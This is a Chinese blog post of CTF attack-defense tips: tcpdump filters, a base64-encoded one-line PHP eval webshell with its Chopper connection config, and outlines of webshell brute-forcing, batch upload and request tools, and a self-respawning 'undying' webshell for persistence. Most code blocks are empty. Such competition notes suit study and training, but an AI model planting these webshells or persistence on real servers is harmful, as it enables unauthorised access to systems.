上上周打了大学生涯的最后一场CTF比赛,感觉给老师丢人了,自己赛前准备的东西也没咋用上,很憋屈啊!不说了,还是太菜!这两周忙着毕业设计的事,一直没时间写。把自己收集的资料分享下吧,如有错误,请大牛们指导下。
一、linux tcpdump使用
tcpdump的重要性不用我说了吧,都懂,但是在CTF中可能会没有权限使用。但是工作中肯定会用到的,相信我,不要为CTF而CTF…(不好意思扯淡了 =.=)
1.1、过滤主机
抓取所有经过eth1,目的或源地址是192.168.1.1的网络数据
tcpdump -i eth1 host 192.168.1.1
指定源地址
tcpdump -i eth1 src host 192.168.1.1
指定目的地址
tcpdump -i eth1 dst host 192.168.1.1
1.2、过滤端口
抓取所有经过eth1,目的或源端口是25的网络数据
tcpdump -i eth1 port 25
指定源端口
tcpdump -i eth1 src port 25
指定目的端口
tcpdump -i eth1 dst port 25
1.3、网络过滤
tcpdump -i eth1 net 192.168
tcpdump -i eth1 src net 192.168
tcpdump -i eth1 dst net 192.168
1.4、协议过滤
tcpdump -i eth1 arp
tcpdump -i eth1 ip
tcpdump -i eth1 tcp
tcpdump -i eth1 udp
tcpdump -i eth1 icmp
1.5、常用表达式
非 : ! or "not" (去掉双引号)
且 : && or "and"
或 : || or "or"
抓取所有经过eth1,目的地址是192.168.1.254或192.168.1.200端口是80的TCP数据
tcpdump -i eth1 ‘((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))’
抓取所有经过eth1,目标MAC地址是00:01:02:03:04:05的ICMP数据
tcpdump -i eth1 ‘((icmp) and ((ether dst host 00:01:02:03:04:05)))’
抓取所有经过eth1,目的网络是192.168,但目的主机不是192.168.1.200的TCP数据
tcpdump -i eth1 ‘((tcp) and ((dst net 192.168) and (not dst host 192.168.1.200)))’
二、一句话木马
一句话木马主要达到的目的就是就算别人看到了这个webshell,他们也不会用。不然别人直接利用你,用的webshell收割flag。我从自己搜集的过waf的webshell中挑了两个。
原理我就不讲了,看一下你就明白了,很简单。QGV2YWwoJF9QT1NUWzBdKTs=
随意变。
菜刀配置填<O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>
连接密码:0(零)
菜刀连接密码:1,自己可以改改,主要学思路。
三、webshell爆破
简单粗暴,只要发现,啥都不用想,拿起工具就是干!
webshell爆破采用之前tools分享的思路,Apache一次允许同时提交1000个参数, IIS允许一次提交5883个参数。
这里我主要用了两个,一个是K8写的GUI版本的,支持PHP、JSP、ASP、ASPX等
一个是自己写的PHP的。
主要代码如下:
|
|
四、批量发包程序
目的很简单,就是对所在网段的其他主机批量进行某一个操作,具体怎么做,拿它干嘛,看自己思维了。
主要代码如下:
加入了多线程,随机UA等(其实Python的多线程很鸡肋的,你要测试过对比下时间你就知道了。原因你可以查下进程、线程关于多核CPU的利用相关的一些资料)。
五、Pocsuite
神器,就不解释了。其实原理很简单,做了个批量化的框架,自己写插件。主要验证代码如下:
六、批量上传文件
做这个的目的其实就是因为第一次玩CTF线下赛手速慢,为了以后不在因为这个问题在跌倒而做的。PS:其实这个小功能有时候还是很有用的。我多读书多,不骗你-.-{斜眼}
七、权限维持
CTF的权限维持很简单啊,就是木马别被删不就好了。并不需要提权啊什么的啊{捂脸},有时候你考虑问题要结合实际啊,咋简单就咋来嘛。就是做个不死马就好了。
PS:这种小伎俩只是对付一般的CTF比赛,对那种赛棍肯定不适用了,人家写个条件竞争的,分分钟打哭你啊{捂脸},所以还得看情况,该反弹还是要反弹啊。
上传这个文件之后,批量访问,就会一直生成木马文件。
PS:大家试想下,要是比赛中存在一个一句话后门,利用批量上传程序,将这个后门批量上上传到各个靶机上,再利用批量发包程序访问这个后门,再利用pocsuite,然后。。。哈哈哈,是不是很爽。(理想很丰满啊…)
八、日志记录
主要是为了网站访问记录,便于后续的问题排查,就是把各种字段的数据记录下来。
九、文件监控
网上自己搜搜吧,很多
十、WAF
网上自己搜搜吧,很多
PS:九和十,注意分寸,不能影响正常业务的。
。。。
好久没写这么长的博客了。。。